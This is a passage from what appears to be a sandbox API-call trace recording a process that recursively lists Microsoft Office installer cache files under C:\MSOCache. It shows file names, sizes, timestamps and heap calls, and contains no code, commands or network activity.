dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.918] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0076.921] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.921] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0076.921] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0076.921] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.921] GetProcessHeap () returned 0x470000 [0076.921] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.921] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0076.921] GetProcessHeap () returned 0x470000 [0076.921] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.330] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0077.337] GetProcessHeap () returned 0x470000 [0077.337] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0077.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255200 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0077.363] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0077.364] FindClose (in: hFindFile=0x3255200 | out: hFindFile=0x3255200) returned 1 [0077.364] GetProcessHeap () returned 0x470000 [0077.365] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.365] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.365] GetProcessHeap () returned 0x470000 [0077.365] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0077.365] GetProcessHeap () returned 0x470000 [0077.365] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0077.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.366] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.366] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.367] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: 